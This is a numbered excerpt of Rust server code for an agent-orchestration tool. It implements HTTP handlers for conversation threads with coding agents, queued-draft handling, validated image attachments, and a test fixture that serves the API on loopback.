5864async fn talk_detail(
5866 State(ui): State<Arc<Ui>>,
5867 Path(id): Path<String>,
5868) -> ApiResult<Json<TalkDetailView>> {
5869 blocking(move || {
5870 let id = resolve_talk(&ui.talks, &id)?;
5871 let talk = ui.talks.get(&id)?;
5872 let thinking = ui.is_thinking(&talk.id);
5873 let tasks = talk::tasks_of(&ui.queue, &talk.id)
5874 .into_iter()
5875 .map(TaskView::from)
5876 .collect();
5877 let roster = Config::discover(&talk.repo, None)
5878 .map(|(cfg, _)| {
5879 cfg.agents
5880 .iter()
5881 .map(|a| RosterEntry {
5882 id: a.id.clone(),
5883 kind: a.kind,
5884 runnable: agent::installed(a),
5885 })
5886 .collect()
5887 })
5888 .unwrap_or_default();
5889 Ok(Json(TalkDetailView {
5890 view: TalkView::new(talk, thinking),
5891 tasks,
5892 roster,
5893 }))
5894 })
5895 .await
5896}
5897
5898#[derive(Debug, Default, Deserialize)]
5904#[serde(default, deny_unknown_fields)]
5905struct NewTalkTurn {
5906 text: String,
5907 attachments: Vec<String>,
5908}
5909
5910#[derive(Debug, Deserialize)]
5911#[serde(deny_unknown_fields)]
5912struct EditTalkPending {
5913 text: String,
5914 expected_text: String,
5915 expected_attachments: Vec<String>,
5916}
5917
5918#[derive(Debug, Deserialize)]
5919#[serde(deny_unknown_fields)]
5920struct ClearTalkPending {
5921 expected_text: String,
5922 expected_attachments: Vec<String>,
5923}
5924
5925async fn talk_say(
5937 State(ui): State<Arc<Ui>>,
5938 Path(id): Path<String>,
5939 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
5940) -> ApiResult<(StatusCode, Json<TalkView>)> {
5941 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5942 if body.text.trim().is_empty() && body.attachments.is_empty() {
5943 return Err(ApiError::bad_request("say something"));
5944 }
5945
5946 let id = {
5947 let ui = Arc::clone(&ui);
5948 let asked = id.clone();
5949 blocking(move || resolve_talk(&ui.talks, &asked)).await?
5950 };
5951 {
5955 let ui = Arc::clone(&ui);
5956 let id = id.clone();
5957 blocking(move || {
5958 let talk = ui.talks.get(&id)?;
5959 if !talk.status.open() {
5960 return Err(ApiError::conflict(format!(
5961 "talk {} is {} and takes no more turns",
5962 talk.short(),
5963 talk.status.as_str()
5964 )));
5965 }
5966 Ok(())
5967 })
5968 .await?;
5969 }
5970
5971 let attachments = {
5976 let ui = Arc::clone(&ui);
5977 let id = id.clone();
5978 let ids = body.attachments.clone();
5979 blocking(move || {
5980 ids.into_iter()
5981 .map(|att_id| {
5982 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
5983 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
5984 })
5985 })
5986 .collect::<ApiResult<Vec<talk::Attachment>>>()
5987 })
5988 .await?
5989 };
5990
5991 let start = {
5996 let ui = Arc::clone(&ui);
5997 let id = id.clone();
5998 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
5999 };
6000 let turn_guard = match start {
6001 TalkTurnStart::Claimed(turn_guard) => turn_guard,
6002 TalkTurnStart::Pending => {
6003 return Err(ApiError::conflict(
6004 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
6005 ));
6006 }
6007 TalkTurnStart::Busy => {
6008 let (tx, rx) = tokio::sync::oneshot::channel();
6024 tokio::spawn({
6025 let ui = Arc::clone(&ui);
6026 let id = id.clone();
6027 let said = body.text.clone();
6028 async move {
6029 let written = blocking({
6030 let ui = Arc::clone(&ui);
6031 let id = id.clone();
6032 move || {
6033 let mut talk = ui.talks.get(&id)?;
6034 #[cfg(test)]
6039 if let Some(gate) = ui
6040 .busy_queue_gate
6041 .lock()
6042 .unwrap_or_else(PoisonError::into_inner)
6043 .take()
6044 {
6045 let _ = gate.reached.send(());
6046 let _ = gate.release.recv();
6047 }
6048 if let Err(error) =
6049 talk::queue(&mut talk, &ui.talks, &said, attachments)
6050 {
6051 if let Ok(fresh) = ui.talks.get(&id) {
6052 if !fresh.status.open() {
6053 return Err(ApiError::conflict(format!(
6054 "talk {} is {} and takes no more turns",
6055 fresh.short(),
6056 fresh.status.as_str()
6057 )));
6058 }
6059 }
6060 return Err(ApiError::from(error));
6061 }
6062 let claim = match ui.begin_queued_talk_turn(&id)? {
6073 Some(turn_guard) => {
6074 let (cfg, _) = Config::discover(&talk.repo, None)?;
6075 Some((talk.clone(), cfg, turn_guard))
6076 }
6077 None => None,
6078 };
6079 let thinking = ui.is_thinking(&id);
6080 Ok((TalkView::new(talk, thinking), claim))
6081 }
6082 })
6083 .await;
6084 let (view, reclaimed) = match written {
6085 Ok(pair) => pair,
6086 Err(e) => {
6087 let _ = tx.send(Err(e));
6092 return;
6093 }
6094 };
6095 let _ = tx.send(Ok(view));
6098 if let Some((talk, cfg, turn_guard)) = reclaimed {
6099 let talks = ui.talks.clone();
6100 drain_loop(talk, talks, cfg, id, turn_guard).await;
6101 }
6102 }
6103 });
6104 let view = rx
6105 .await
6106 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6107 return Ok((StatusCode::ACCEPTED, Json(view)));
6108 }
6109 };
6110
6111 let (talk, cfg) = {
6112 let ui = Arc::clone(&ui);
6113 let id = id.clone();
6114 blocking(move || {
6115 let talk = ui.talks.get(&id)?;
6116 let (cfg, _) = Config::discover(&talk.repo, None)?;
6117 Ok((talk, cfg))
6118 })
6119 .await?
6120 };
6121
6122 let talks = ui.talks.clone();
6123 let (tx, rx) = tokio::sync::oneshot::channel();
6138 tokio::spawn({
6139 let ui = Arc::clone(&ui);
6140 let talks = talks.clone();
6141 let id = id.clone();
6142 let said = body.text.clone();
6143 let mut talk = talk.clone();
6144 async move {
6145 let recorded = blocking({
6146 let talks = talks.clone();
6147 move || {
6148 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
6149 if let Ok(fresh) = talks.get(&talk.id) {
6150 if !fresh.status.open() {
6151 return Err(ApiError::conflict(format!(
6152 "talk {} is {} and takes no more turns",
6153 fresh.short(),
6154 fresh.status.as_str()
6155 )));
6156 }
6157 }
6158 return Err(ApiError::from(error));
6159 }
6160 Ok((said.trim().to_owned(), talk))
6166 }
6167 })
6168 .await;
6169 let (text, mut talk) = match recorded {
6170 Ok(pair) => pair,
6171 Err(e) => {
6172 let _ = tx.send(Err(e));
6176 return;
6177 }
6178 };
6179 let queued = talk.clone();
6180 let thinking = ui.is_thinking(&id);
6181 let _ = tx.send(Ok((queued, thinking)));
6184
6185 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
6186 tracing::warn!("talk {id} turn failed: {e:#}");
6190 }
6191 drain_loop(talk, talks, cfg, id, turn_guard).await;
6194 }
6195 });
6196
6197 let (queued, thinking) = rx
6198 .await
6199 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6200
6201 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
6203}
6204
6205async fn talk_pending_resume(
6209 State(ui): State<Arc<Ui>>,
6210 Path(id): Path<String>,
6211) -> ApiResult<(StatusCode, Json<TalkView>)> {
6212 let id = {
6213 let ui = Arc::clone(&ui);
6214 let asked = id.clone();
6215 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6216 };
6217 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6218 return Err(ApiError::conflict(
6219 "a talk turn is already running; the queued draft will be handled by it",
6220 ));
6221 };
6222 let (talk, cfg) = {
6223 let ui = Arc::clone(&ui);
6224 let id = id.clone();
6225 blocking(move || {
6226 let talk = ui.talks.get(&id)?;
6227 if !talk.status.open() {
6228 return Err(ApiError::conflict(format!(
6229 "talk {} is {} and takes no more turns",
6230 talk.short(),
6231 talk.status.as_str()
6232 )));
6233 }
6234 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
6235 return Err(ApiError::conflict("there is no queued draft to resume"));
6236 }
6237 let (cfg, _) = Config::discover(&talk.repo, None)?;
6238 Ok((talk, cfg))
6239 })
6240 .await?
6241 };
6242 let view = TalkView::new(talk.clone(), true);
6243 let talks = ui.talks.clone();
6244 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6245 Ok((StatusCode::ACCEPTED, Json(view)))
6246}
6247
6248async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
6264 let live_set = Arc::clone(&turn.turns);
6265 let mut turn = Some(turn);
6273 loop {
6274 let observed = live_set
6278 .lock()
6279 .unwrap_or_else(PoisonError::into_inner)
6280 .queued
6281 .get(&id)
6282 .copied()
6283 .unwrap_or(0);
6284 let drained = blocking({
6285 let talks = talks.clone();
6286 move || {
6287 let result = talk::drain(&mut talk, &talks);
6288 Ok((talk, result))
6289 }
6290 })
6291 .await;
6292 let (next_talk, result) = match drained {
6293 Ok(drained) => drained,
6294 Err(e) => {
6295 tracing::warn!(
6296 status = %e.status,
6297 message = %e.message,
6298 "talk {id} could not start queued-text drain"
6299 );
6300 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6301 turn.take()
6302 .expect("held for the whole loop until released here")
6303 .release(&mut live);
6304 break;
6305 }
6306 };
6307 talk = next_talk;
6308 let drained = match result {
6309 Ok(Some(drained)) => drained,
6310 Ok(None) => {
6311 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6312 if live.queued.get(&id).copied().unwrap_or(0) != observed {
6313 continue;
6314 }
6315 turn.take()
6316 .expect("held for the whole loop until released here")
6317 .release(&mut live);
6318 break;
6319 }
6320 Err(e) => {
6321 tracing::warn!("talk {id} could not drain queued text: {e:#}");
6322 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6323 turn.take()
6324 .expect("held for the whole loop until released here")
6325 .release(&mut live);
6326 break;
6327 }
6328 };
6329 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &drained).await {
6330 tracing::warn!("talk {id} turn failed: {e:#}");
6331 }
6332 }
6333}
6334
6335async fn talk_pending_clear(
6337 State(ui): State<Arc<Ui>>,
6338 Path(id): Path<String>,
6339 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
6340) -> ApiResult<Json<TalkView>> {
6341 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6342 blocking(move || {
6343 let id = resolve_talk(&ui.talks, &id)?;
6344 let mut talk = ui.talks.get(&id)?;
6345 if !talk.status.open() {
6346 return Err(ApiError::conflict(format!(
6347 "talk {} is {} and takes no more turns",
6348 talk.short(),
6349 talk.status.as_str()
6350 )));
6351 }
6352 if !talk::clear_pending_if_matches(
6353 &mut talk,
6354 &ui.talks,
6355 &body.expected_text,
6356 &body.expected_attachments,
6357 )? {
6358 return Err(ApiError::conflict(
6359 "queued message changed; reload it before clearing",
6360 ));
6361 }
6362 let thinking = ui.is_thinking(&talk.id);
6363 Ok(Json(TalkView::new(talk, thinking)))
6364 })
6365 .await
6366}
6367
6368async fn talk_pending_edit(
6372 State(ui): State<Arc<Ui>>,
6373 Path(id): Path<String>,
6374 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
6375) -> ApiResult<Json<TalkView>> {
6376 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6377 let (view, reclaimed) = blocking({
6378 let ui = Arc::clone(&ui);
6379 move || {
6380 let id = resolve_talk(&ui.talks, &id)?;
6381 let mut talk = ui.talks.get(&id)?;
6382 if !talk.status.open() {
6383 return Err(ApiError::conflict(format!(
6384 "talk {} is {} and takes no more turns",
6385 talk.short(),
6386 talk.status.as_str()
6387 )));
6388 }
6389 if !talk::edit_pending_text(
6390 &mut talk,
6391 &ui.talks,
6392 &body.text,
6393 &body.expected_text,
6394 &body.expected_attachments,
6395 )? {
6396 return Err(ApiError::conflict(
6397 "queued message changed; reload it before editing",
6398 ));
6399 }
6400 let claim = match ui.begin_queued_talk_turn(&id)? {
6401 Some(turn_guard) => {
6402 let (cfg, _) = Config::discover(&talk.repo, None)?;
6403 Some((talk.clone(), cfg, id.clone(), turn_guard))
6404 }
6405 None => None,
6406 };
6407 let thinking = ui.is_thinking(&id);
6408 Ok((TalkView::new(talk, thinking), claim))
6409 }
6410 })
6411 .await?;
6412 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
6413 let talks = ui.talks.clone();
6414 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6415 }
6416 Ok(Json(view))
6417}
6418
6419#[derive(Debug, Deserialize)]
6421struct TalkAgent {
6422 agent: String,
6423}
6424
6425async fn talk_agent(
6430 State(ui): State<Arc<Ui>>,
6431 Path(id): Path<String>,
6432 Json(body): Json<TalkAgent>,
6433) -> ApiResult<Json<TalkView>> {
6434 let id = {
6435 let ui = Arc::clone(&ui);
6436 blocking(move || resolve_talk(&ui.talks, &id)).await?
6437 };
6438 let repo = {
6439 let ui = Arc::clone(&ui);
6440 let id = id.clone();
6441 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
6442 };
6443 let cfg = config_for(&repo).await?;
6444 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6445 return Err(ApiError::conflict(
6446 "a talk turn is running; change the agent once it has answered",
6447 ));
6448 };
6449 let switched = {
6450 let ui = Arc::clone(&ui);
6451 let id = id.clone();
6452 let cfg = cfg.clone();
6453 blocking(move || {
6454 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
6455 .map_err(ApiError::bad_request_from)?;
6456 let mut talk = ui.talks.get(&id)?;
6457 if !talk.status.open() {
6458 return Err(ApiError::conflict(format!(
6459 "talk {} is {} and takes no more turns",
6460 talk.short(),
6461 talk.status.as_str()
6462 )));
6463 }
6464 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
6465 Ok(talk)
6466 })
6467 .await
6468 };
6469 let fresh = {
6474 let ui = Arc::clone(&ui);
6475 let id = id.clone();
6476 blocking(move || Ok(ui.talks.get(&id)?)).await
6477 };
6478 let draining = match fresh {
6479 Ok(talk) => {
6480 let draining = talk.status.open()
6481 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
6482 let talks = ui.talks.clone();
6483 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6484 draining
6485 }
6486 Err(_) => false,
6487 };
6488 let talk = switched?;
6489 Ok(Json(TalkView::new(talk, draining)))
6490}
6491
6492async fn talk_close(
6494 State(ui): State<Arc<Ui>>,
6495 Path(id): Path<String>,
6496) -> ApiResult<Json<TalkView>> {
6497 blocking(move || {
6498 let id = resolve_talk(&ui.talks, &id)?;
6499 let mut talk = ui.talks.get(&id)?;
6500 talk::close(&mut talk, &ui.talks)?;
6501 let thinking = ui.is_thinking(&talk.id);
6502 Ok(Json(TalkView::new(talk, thinking)))
6503 })
6504 .await
6505}
6506
6507async fn talk_reopen(
6509 State(ui): State<Arc<Ui>>,
6510 Path(id): Path<String>,
6511) -> ApiResult<Json<TalkView>> {
6512 blocking(move || {
6513 let id = resolve_talk(&ui.talks, &id)?;
6514 let mut talk = ui.talks.get(&id)?;
6515 talk::reopen(&mut talk, &ui.talks)?;
6516 let thinking = ui.is_thinking(&talk.id);
6517 Ok(Json(TalkView::new(talk, thinking)))
6518 })
6519 .await
6520}
6521
6522async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6532 blocking(move || {
6533 let id = resolve_talk(&ui.talks, &id)?;
6534 ui.talks.remove(&id)?;
6535 Ok(StatusCode::NO_CONTENT)
6536 })
6537 .await
6538}
6539
6540fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
6542 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
6543}
6544
6545async fn talk_attachment_post(
6548 State(ui): State<Arc<Ui>>,
6549 Path(id): Path<String>,
6550 headers: HeaderMap,
6551 body: Bytes,
6552) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
6553 let mime = validate_attachment(&headers, &body)?;
6554 let name = filename_header(&headers);
6555 let data = body.to_vec();
6556 blocking(move || {
6557 let id = resolve_talk(&ui.talks, &id)?;
6558 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
6559 Ok((StatusCode::CREATED, Json(att)))
6560 })
6561 .await
6562}
6563
6564async fn talk_attachment_get(
6567 State(ui): State<Arc<Ui>>,
6568 Path((id, att)): Path<(String, String)>,
6569) -> ApiResult<Response> {
6570 blocking(move || {
6571 let id = resolve_talk(&ui.talks, &id)?;
6572 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
6573 return Err(ApiError::not_found(format!(
6574 "talk {id} has no attachment `{att}`"
6575 )));
6576 };
6577 Ok(attachment_response(&meta.mime, data))
6578 })
6579 .await
6580}
6581
6582fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
6593 if data.len() > ATTACHMENT_MAX_BYTES {
6594 return Err(ApiError::bad_request(format!(
6595 "attachment is {} bytes, over the {} MiB limit",
6596 data.len(),
6597 ATTACHMENT_MAX_BYTES / (1024 * 1024)
6598 ))
6599 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
6600 }
6601 if data.is_empty() {
6602 return Err(ApiError::bad_request("attachment is empty"));
6603 }
6604 let declared = declared_mime(headers)?;
6605 match sniffed_mime(data) {
6606 Some(sniffed) if sniffed == declared => Ok(declared),
6607 Some(sniffed) => Err(ApiError::bad_request(format!(
6608 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
6609 ))),
6610 None => Err(ApiError::bad_request(
6611 "the file's bytes do not match any accepted image format",
6612 )),
6613 }
6614}
6615
6616fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
6620 let raw = headers
6621 .get(header::CONTENT_TYPE)
6622 .and_then(|v| v.to_str().ok())
6623 .unwrap_or("")
6624 .split(';')
6625 .next()
6626 .unwrap_or("")
6627 .trim()
6628 .to_ascii_lowercase();
6629 ATTACHMENT_MIME_WHITELIST
6630 .iter()
6631 .find(|&&m| m == raw)
6632 .copied()
6633 .ok_or_else(|| {
6634 if raw == "image/svg+xml" {
6635 ApiError::bad_request(
6636 "SVG is not accepted: it can carry active content (e.g. a <script>), \
6637 not just a picture",
6638 )
6639 } else if raw.is_empty() {
6640 ApiError::bad_request("Content-Type is required for an attachment upload")
6641 } else {
6642 ApiError::bad_request(format!(
6643 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
6644 image/gif or image/webp"
6645 ))
6646 }
6647 })
6648}
6649
6650fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
6653 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
6654 Some("image/png")
6655 } else if data.starts_with(b"\xff\xd8\xff") {
6656 Some("image/jpeg")
6657 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
6658 Some("image/gif")
6659 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
6660 Some("image/webp")
6661 } else {
6662 None
6663 }
6664}
6665
6666fn filename_header(headers: &HeaderMap) -> String {
6672 headers
6673 .get(FILENAME_HEADER)
6674 .and_then(|v| v.to_str().ok())
6675 .map(str::trim)
6676 .filter(|s| !s.is_empty())
6677 .unwrap_or("attachment")
6678 .to_owned()
6679}
6680
6681fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
6688 let content_type = ATTACHMENT_MIME_WHITELIST
6689 .iter()
6690 .find(|&&m| m == mime)
6691 .copied()
6692 .unwrap_or("application/octet-stream");
6693 (
6694 [
6695 (header::CONTENT_TYPE, content_type),
6696 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6697 ],
6698 body,
6699 )
6700 .into_response()
6701}
6702
6703async fn config_for(repo: &FsPath) -> ApiResult<Config> {
6711 let repo = repo.to_path_buf();
6712 blocking(move || {
6713 let (cfg, _) = Config::discover(&repo, None)?;
6714 Ok(cfg)
6715 })
6716 .await
6717}
6718
6719fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
6725 let mut hits = ids
6726 .into_iter()
6727 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
6728 match (hits.next(), hits.next()) {
6729 (Some(one), None) => Ok(one),
6730 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
6731 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
6732 "`{prefix}` matches more than one {what}, including {a} and {b}"
6733 ))),
6734 }
6735}
6736
6737#[cfg(test)]
6738mod tests {
6739
6740 #[test]
6741 fn holder_reads_the_lease_not_the_record() {
6742 let mut q = Question::new(
6743 "run".to_owned(),
6744 "implement".to_owned(),
6745 "impl-A".to_owned(),
6746 "which?".to_owned(),
6747 String::new(),
6748 Vec::new(),
6749 );
6750 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
6751 q.cwd = Some("/tmp".to_owned());
6752 assert_eq!(holder_of(&q, None), Some("nobody"));
6753 let beat = |kind, ago: i64| ask::Lease {
6754 kind,
6755 pid: 1,
6756 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
6757 .unwrap(),
6758 };
6759 let fresh = beat(ask::WaiterKind::Asker, 1);
6760 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
6761 let daemon = beat(ask::WaiterKind::Daemon, 1);
6762 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
6763 let stale = beat(ask::WaiterKind::Asker, 3600);
6764 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
6765
6766 let mut c = Question::new(
6769 "task".to_owned(),
6770 crate::conduct::NODE.to_owned(),
6771 "conduct".to_owned(),
6772 "which?".to_owned(),
6773 String::new(),
6774 Vec::new(),
6775 );
6776 assert_eq!(holder_of(&c, None), Some("nobody"));
6777 c.cwd = Some("/tmp".to_owned());
6778 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
6779 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
6780 let deputy = beat(ask::WaiterKind::Deputy, 1);
6781 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
6782 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
6783
6784 let mut r = Question::new(
6786 String::new(),
6787 crate::bump::NOTICE_NODE.to_owned(),
6788 "release-watch".to_owned(),
6789 "stuck?".to_owned(),
6790 String::new(),
6791 vec!["hold".to_owned()],
6792 );
6793 assert_eq!(holder_of(&r, None), Some("nobody"));
6794 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
6795 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
6796 r.deputy = None;
6798 r.seat = "bump".to_owned();
6799 assert_eq!(holder_of(&r, None), None);
6800
6801 let mut m = Question::new(
6804 "run".to_owned(),
6805 crate::land::APPROVAL_NODE.to_owned(),
6806 "land".to_owned(),
6807 "merge?".to_owned(),
6808 String::new(),
6809 Vec::new(),
6810 );
6811 assert_eq!(holder_of(&m, None), Some("nobody"));
6812 assert_eq!(
6813 holder_of(&m, Some(&fresh)),
6814 Some("nobody"),
6815 "a lease with no deputy is not a listener"
6816 );
6817 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
6818 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
6819 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
6820 assert_eq!(holder_of(&m, None), Some("nobody"));
6821 }
6822
6823 fn stub_config() -> Config {
6824 Config {
6827 agents: vec![crate::config::AgentSpec {
6828 id: "stub".to_owned(),
6829 kind: AgentKind::Command,
6830 model: None,
6831 command: vec!["true".to_owned()],
6832 extra_args: Vec::new(),
6833 env: Default::default(),
6834 prompt_delivery: None,
6835 }],
6836 ..Config::default()
6837 }
6838 }
6839
6840 fn plain_question(seat: &str) -> Question {
6841 Question::new(
6842 String::new(),
6843 "n".to_owned(),
6844 seat.to_owned(),
6845 "s".to_owned(),
6846 String::new(),
6847 Vec::new(),
6848 )
6849 }
6850
6851 #[test]
6852 fn deputies_enabled_follows_the_config() {
6853 let on = stub_config();
6854 assert!(crate::deputy::can_start(Some(&on), ""));
6855 assert!(crate::deputy::can_start(Some(&on), "stub"));
6856 let mut off = on.clone();
6857 off.daemon.max_deputies = 0;
6858 assert!(!crate::deputy::can_start(Some(&off), ""));
6859 let mut empty = on;
6860 empty.agents.clear();
6861 assert!(!crate::deputy::can_start(Some(&empty), ""));
6862 assert!(!crate::deputy::can_start(None, ""));
6863 }
6864
6865 #[test]
6866 fn question_views_load_the_config_once() {
6867 let dir = TempDir::new().unwrap();
6868 let store = ask::Questions::at(dir.path().to_path_buf());
6869 let mut with_deputy = plain_question("b");
6870 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
6871 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
6872
6873 let calls = std::cell::Cell::new(0usize);
6874 let views = question_views(qs.clone(), &store, || {
6875 calls.set(calls.get() + 1);
6876 Some(stub_config())
6877 });
6878 assert_eq!(calls.get(), 1);
6879 assert_eq!(views.len(), 3);
6880 for (v, q) in views.iter().zip(&qs) {
6881 assert_eq!(
6882 v.deputies_enabled,
6883 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
6884 );
6885 }
6886
6887 let views = question_views(qs, &store, || None);
6888 assert!(views.iter().all(|v| !v.deputies_enabled));
6889
6890 let calls = std::cell::Cell::new(0usize);
6891 let views = question_views(Vec::new(), &store, || {
6892 calls.set(calls.get() + 1);
6893 None
6894 });
6895 assert!(views.is_empty());
6896 assert_eq!(calls.get(), 0);
6897 }
6898
6899 use pretty_assertions::assert_eq;
6900 use serde_json::Value;
6901 use tempfile::TempDir;
6902 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
6903
6904 use super::*;
6905 use crate::config::Config;
6906 use crate::queue::Source;
6907
6908 const SETTLE_STEPS: usize = 3_000;
6919
6920 struct Fixture {
6926 home: TempDir,
6927 addr: SocketAddr,
6928 }
6929
6930 impl Fixture {
6931 async fn start() -> Self {
6932 Self::with_loop(launch_idle).await
6933 }
6934
6935 async fn with_loop(launch: Launch) -> Self {
6937 let home = TempDir::new().expect("temp home");
6938 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
6939 Self { home, addr }
6940 }
6941
6942 async fn with_repo(repo: PathBuf) -> Self {
6946 let home = TempDir::new().expect("temp home");
6947 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
6948 Self { home, addr }
6949 }
6950
6951 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
6954 let home = TempDir::new().expect("temp home");
6955 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
6956 Self { home, addr }
6957 }
6958
6959 async fn serve(
6960 home: &FsPath,
6961 repo: PathBuf,
6962 launch: Launch,
6963 machine: Option<PathBuf>,
6964 ) -> SocketAddr {
6965 let queue = Queue::at(home.join("queue"));
6966 let runs = home.join("runs");
6967 std::fs::create_dir_all(&runs).expect("runs dir");
6968 let worktrees = home.join("wt").join("magi");
6969 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
6970 let ui = Ui::new(
6971 queue,
6972 Questions::at(home.join("questions")),
6973 Talks::at(home.join("talks")),
6974 runs,
6975 home.to_path_buf(),
6976 repo,
6977 )
6978 .with_worktrees_root(worktrees)
6979 .with_machine_config(machine)
6980 .with_launch(launch);
6981 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
6982 .await
6983 .expect("bind loopback");
6984 let addr = listener.local_addr().expect("local addr");
6985 tokio::spawn(async move {
6986 let _ = axum::serve(listener, ui.router()).await;
6987 });
6988 addr
6989 }
6990
6991 fn queue(&self) -> Queue {
6992 Queue::at(self.home.path().join("queue"))
6993 }
6994
6995 fn questions(&self) -> Questions {
6996 Questions::at(self.home.path().join("questions"))
6997 }
6998
6999 fn talks(&self) -> Talks {
7000 Talks::at(self.home.path().join("talks"))
7001 }
7002
7003 fn runs(&self) -> PathBuf {
7004 self.home.path().join("runs")
7005 }
7006
7007 async fn get(&self, path: &str) -> Res {
7008 request(self.addr, "GET", path, None).await
7009 }
7010
7011 async fn head(&self, path: &str) -> Res {
7016 request(self.addr, "HEAD", path, None).await
7017 }
7018
7019 async fn post(&self, path: &str, body: Option<&str>) -> Res {
7020 request(self.addr, "POST", path, body).await
7021 }
7022
7023 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
7024 request_with(self.addr, "GET", path, None, extra).await
7025 }
7026
7027 async fn delete(&self, path: &str) -> Res {
7028 request(self.addr, "DELETE", path, None).await
7029 }
7030
7031 async fn put(&self, path: &str, body: &str) -> Res {
7032 request(self.addr, "PUT", path, Some(body)).await
7033 }
7034
7035 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
7037 request_bytes(self.addr, path, headers, body).await
7038 }
7039 }
7040
7041 struct Res {
7042 status: u16,
7043 headers: String,
7044 head: String,
7049 body: String,
7050 bytes: Vec<u8>,
7054 }
7055
7056 impl Res {
7057 fn json(&self) -> Value {
7058 serde_json::from_str(&self.body)
7059 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
7060 }
7061
7062 fn header(&self, name: &str) -> Option<&str> {
7064 self.head.lines().find_map(|line| {
7065 let (key, value) = line.split_once(':')?;
7066 key.trim()
7067 .eq_ignore_ascii_case(name)
7068 .then(|| value.trim_start().trim_end_matches('\r'))
7069 })
7070 }
7071 }
7072
7073 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
7076 request_with(addr, method, path, body, &[]).await
7077 }
7078
7079 async fn request_with(
7083 addr: SocketAddr,
7084 method: &str,
7085 path: &str,
7086 body: Option<&str>,
7087 extra: &[(&str, &str)],
7088 ) -> Res {
7089 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7090 for (name, value) in extra {
7091 head.push_str(&format!("{name}: {value}\r\n"));
7092 }
